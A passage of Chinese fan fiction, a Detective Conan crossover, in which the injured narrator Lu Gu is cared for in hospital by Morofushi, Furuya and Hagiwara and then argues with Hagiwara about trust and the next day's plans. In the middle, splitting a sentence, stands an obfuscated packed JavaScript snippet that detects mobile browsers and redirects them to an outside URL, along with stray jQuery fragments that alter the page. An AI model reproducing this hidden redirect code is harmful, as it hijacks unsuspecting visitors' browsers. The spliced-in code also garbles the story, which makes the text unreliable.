我怀疑狗东西是故意的。


    越难受，它就越是要用那个该死的童声喋喋不休，几乎一刻不停的刺激着我的神经，聒噪的让人想发疯。


    “给，给我，唔……闭嘴……”


    我已经没力气再吐，也再也吐不出来什么，但恶心的感觉丝毫不减，被水雾糊掉的画面中，偶尔有几个深色的色块一闪而过。


    「宿主明明可以为自己治疗的，为什么要一直拒绝呢？难道宿主不想快些好起来吗？」


    「你看，诸伏先生和降谷先生已经担心的快要闯进来了。」


    和它令人作呕的声音一同响起的，是敲门声。


    “鹿谷，你还好吗？回复我一下。”


    凭我现在连张嘴都费劲的样子，即使说自己没事也毫无说服力。


    “鹿谷？听得见吗？”


    “我们进来了。”


    事实上我也说不出来什么话，意识像是沉进了深海，每一次挣扎着上浮都被无形的力量拖拽回去，重新坠入冰冷的海底。


    我明明，是想救他的……不对，他不需要我救。


    他自己，就是恶魔中的一员。


    ‘对付凶恶的敌人不能心慈手软，一旦我们暴露自己的弱点，就会让敌人有机可乘，最后等待你的就是不幸的后果。’


    伊达航的声音像警钟一样在我脑海中长鸣，震的我不由得清醒了几分。


    班长是对的，如果我能早点看出来那孩子和他们是一伙的，如果我不发多余的善心去阻拦他，或许，或许我也不会被那帮人发现……也不会被绑架、囚禁，被当成人质和挡箭牌让营救我的警方束手束脚，最后更不会被注射药物，凄惨死去。


    可笑，我自诩看人还算是有几分准头，竟半点都没看出，那个男孩隐藏在天真笑颜下，赤裸裸的恶意。


    真是，可怕……


    脑内的童声恰如其分的响起。


    「为什么这么抗拒我呢？你在害怕什么，我不会伤害你的。」


    「让我帮你吧，宿主。」


    滚。


    别逼我在这么难受的时候扇你。


    门在此时开了，一只手环绕住我的肩膀，稳稳支撑起我的上半身，温热的触感透过皮肤传来，短暂地驱散了那些幻觉的寒意。


    我睁大眼睛，好不容易从扭曲的黑白色块中，分辨出了诸伏景光那双担忧焦急的眼。


    抱歉……hiro。


    明明答应过你，不再让你担心的……


    “没事了，鹿谷，没事，别怕，你现在很安全。”


    “来伸手摸一摸，你面前的是什么？”


    诸伏景光端着温水靠近，试图引导白发青年重新建立起对世界的感知，谁知下一秒，那人颤抖的手却无视了水杯，直直的贴上他的脸侧，食指的指缘恰好落在那个，猫眼眼尾上扬的位置。


    猫眼青年有些懵的眨了眨眼。


    “……是，hiro。”


    降谷零做出扶抱动作的手臂不自觉地收紧了些许，这个姿势下，他能清晰地感受到怀中身体无法自控的颤抖，以及被冷汗浸透的衣服下，那声破碎的不成句的气音。


    一时之间他竟不知道是该庆幸还是愤怒，庆幸的是怀里的这家伙即使在被过往的噩梦撕扯时，依然在用他自己的方式努力辨认着真实，确认着同伴的存在。


    而愤怒则在于，那个骄傲又隐忍的家伙，到底是经历了怎么样的痛苦，才会连一个简单的触碰动作，都小心翼翼到仿佛从深渊底下拼命挣扎，才伸手抓住唯一的稻草。


    他闭了闭眼，再睁开时，眼中的风暴沉淀为一种更为深邃的坚定。


    “是的，是hiro。”


    “我们都在这，你很安全。”


    怀中的身体一僵，随即垂下手，仿佛不确定一般的抬眼看了又看，这才轻轻的唤道。


    “……zero。”


    ……对不起首席大人，忘了你已经变白了，我刚刚一直从深色色块里找你来着。


    不过，即使化着乔鲁诺的妆容，降谷零脸上也是独属于警校首席的认真和严肃，他半跪在我身后，坚实的手臂和胸膛支撑起了我的大部分体重，空余的一只手则是拿着毛巾，擦拭掉我额头上的冷汗。


    “是我，喝点水吧，这个时候不补充些水分可不行。”


    “来，慢点喝。”


    唇边适时被抵上一个坚硬的触感，温热清爽的液体滑下，安抚着受到刺激的器官和神经。我的呼吸渐渐平复，这才发现门口还站着一个人。


    “hagi？”


    他不是和班长一起去还车了吗？怎么还在这？


    已经卸好妆的半长发青年靠在墙壁上半垂着头，略长的刘海挡住了他的眼睛，可当听到我叫他时，依旧是一副笑意盈盈的轻快语气。


    “怎么了小鹿谷？是想我了吗？”


    他走进来在我旁边蹲下，那双下垂眼一样一样的扫视着我的全身，从苍白的脸色到微微发抖的手指，最后定格在我刚刚倒下时，不经意沾染在墙上的深色痕迹。


    我有些不自在的动了动，很快被降谷零按了回去。


    “别动，你后背的伤口裂开了。”


    ……我知道。


    换药的时候绝对会被医生骂。


    我扯了扯嘴角，想说什么，胃部又是一阵抽搐。


    “还想吐？”降谷零立刻察觉我的异样。


    我点点头，随即又摇摇头。


    依旧在犯恶心，但吐不出来。


    “回去床上休息一会吧，一会我帮你换药，放心好了。”半长发青年仿佛读懂了我的心思，双手小心的绕过我的伤口，环住我的肩膀和腿弯，下一秒，在我震惊的目光中，身体一轻，整个人竟被他稳稳的抱了起来。


    嗯嗯嗯？哈基萩你要干嘛？


    老实说身体完全悬空的感觉并不好受，就算他抱的很稳，这种完全依靠别人的失重感和恐慌感也让我忍不住想要挣扎，但很快就被无情的镇压。


    “别乱动哦小鹿谷，”环住我的手臂收紧，“hagi不会摔到你的。”


    随着声音一同传过来的，还有他身上一丝未曾散尽的烟草味。想了想，最终我只能选择闭上眼睛，默许了他的行为。


    ……等有力气了再找他算账！


    不过……


    “……不见了。”


    “什么？”


    你的小花，不见了。


    “我没事，”我尽力用最短的话解释清楚我的意思，“只是没力气，别担心。”


    只是短时间内被太多应激源刺激到，很快就能恢复过来的，所以别再绷着脸了，对我笑笑吧hagi，就像你说的，你这张脸也太不适合难过的表情了。


    但是好像，起了反作用？


    那双眼睛里迅速凝起一团雾气，略微哽咽的声音在我头顶上方响起，“……抱歉。”


    “让小鹿谷在难受的时候还为我担心，实在是不应该呢。”


    他慢慢把我放下，扶着我趴到病床上，努力对我扬起一个笑脸，虽然并没比刚才好看到哪去，但总归有了一点往日的模样。


    诸伏景光适时拿来碘伏和纱布。


    “疼的话就告诉我。”


    但事实上，他手非常稳，除了不太敢把碘伏棉球往伤口深处塞，完美复刻医生帮我换药时的动作，几乎一点都没弄疼我，以至于我在换药的中途就忍不住睡了过去，再次醒来的时候，不仅撕裂的伤口已经被处理好，连衣服都换了一套。


    甚至背后还垫了几个枕头，它们被巧妙的堆叠起来，撑住我身体的同时还避开了伤口，保证它们不会被压迫到，一看就知道是首席大人的手笔。


    可以说，这一次是我最近睡过的，最舒服的一觉。


    我略微偏了偏头，萩原研二正坐在我旁边的椅子上打瞌睡，中间最长的那一缕刘海垂下来，随着呼吸在他鼻孔上方一起一伏。


    ……不痒吗？


    我抬手揪了揪自己的刘海，它最近也长长了不少，已经有些挡眼睛。


    出院以后去剪个头发吧，另外发根那里新长出来的头发也需要处理一下，唔，继续染白好了，毕竟——


    白毛赛高！


    “你觉得小降谷最适合什么发色？”


    “当然是白色……”没有丝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739094|186358||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    毫犹豫，我下意识的回答。


    等回过神的时候已经晚了，萩原研二不知什么时候已经醒了，正坐在那里甜笑着装乖，一副“hagi什么都没说也什么都不知道”的模样。


    啧，不知道才有鬼了。


    “明天什么安排？”


    “明天是休息日啦，当然什么安排都没有~”


    “喂喂，你明知道我在问什么。”


    “小鹿谷才是，明明知道却还是要勉强自己。”


    我一时语塞，半晌后只能不甘心的小声嘟哝。


    “还不是怕……”怕你们出事。


    最后几个字我没说出口，但是萩原听懂了，他肯定听得懂。


    “我知道，但是明天的事情明天再说，最重要的是现在。”他的眼睛不着痕迹的紧盯着我，又自然的转移开。


    “小鹿谷现在最应该做的明明是休息。”


    没有头痛，这是一个好消息。


    说明我和松田的第二次实验非常成功。


    手环新增的功能不仅是通话，还有录音，可以说除了我要求狗东西一定保证他们安全的那段话以外，其他对话都一字不漏的录了进去。


    而萩原已经知道了那个预言，现在基本可以断定，只要瞒得过狗东西，剧透就不会受到惩罚。


    “喂喂，可不要小看我们啊，”见我没什么其他的反应，萩原研二动作夸张的叹了口气，故意把话题转移到我对他们行动的担忧上去，“先不提秋叶原那里人山人海，大庭广众之下就算他想对我们做什么也会有顾忌，再说，你觉得我和小阵平小降谷他们，是那么轻易会被干掉的家伙吗？”


    他歪歪头，故作轻松的对我wink了一下，


    “真是的，小鹿谷再多相信我们一点嘛，我们可是同伴，互相信任里，也包括信任对方有应对风险的能力，你说呢？”


    不说，我可不去踩他话里给我挖的坑。


    “如果这样说的话，hagi也没有完全信任我。”


    萩原这家伙，在车上那会表情就不对劲，看我的眼神里自责感都快溢出来不说，车速慢的路边的自行车都快超过他了，要不是应激反应太强烈，我当时就会跟他解释清楚。


    虽然没有小花星星特效的新形象也不错，显得他清爽又利落，但还是有的时候更可爱些。


    “你也该相信我有判断风险和承受风险的能力。”我学着他的样子歪头，但是wink就算了，我做不来，“偶尔有些意料之外不可避免，但我可不是需要人捧在手心里的玻璃娃娃。”


    狐狸先生似乎没想到我会这么说，半张着嘴愣在那里的样子有趣极了。半晌，他低声笑起来，胸腔震动的同时，从心口飘出一朵朵熟悉的小花。


    “嘛嘛，承受风险这点我可一点都不怀疑，”他拭去眼角笑出的几颗碎芒，更多的星辰则是藏在双眼的银河里，闪耀着温暖的光。


    “但是判断风险……我持保留态度哦~”


    “没办法，毕竟此前我受过最大的安全教育，就是在有医闹的时候躲到最贵的仪器后面。”


    我颇为无奈的看了他一眼，生活环境太和平怪我咯？


    “太狡猾了，狐狸先生。”


    “彼此彼此~”


    “狐狸先生不觉得刘海扎眼睛吗？”


    “很帅哎。”


    “做事的时候不会挡视线吗？”


    “很帅哎。”


    “不觉得……”


    “但是很帅哎！”


    我没忍住乐，“长毛狐狸。”


    在他不满的控诉到来之前，我及时改口。


    “好吧好吧，帅气的长毛狐狸先生，我同意明天留在医院里。”


    “但是伪装的工作请继续交给我，手环也得留下。”


    这是我能做出的最大让步。


    “唔……手环的话，可能有点问题。”萩原研二闻言，笑容又加深了些，“小阵平在给它加模块的过程中有两个螺丝安不回去了，正在努力排查故障。”


    他有些神秘的眨了眨眼。


    “所以如果明天它突然散架的话，小鹿谷可不要太惊讶~”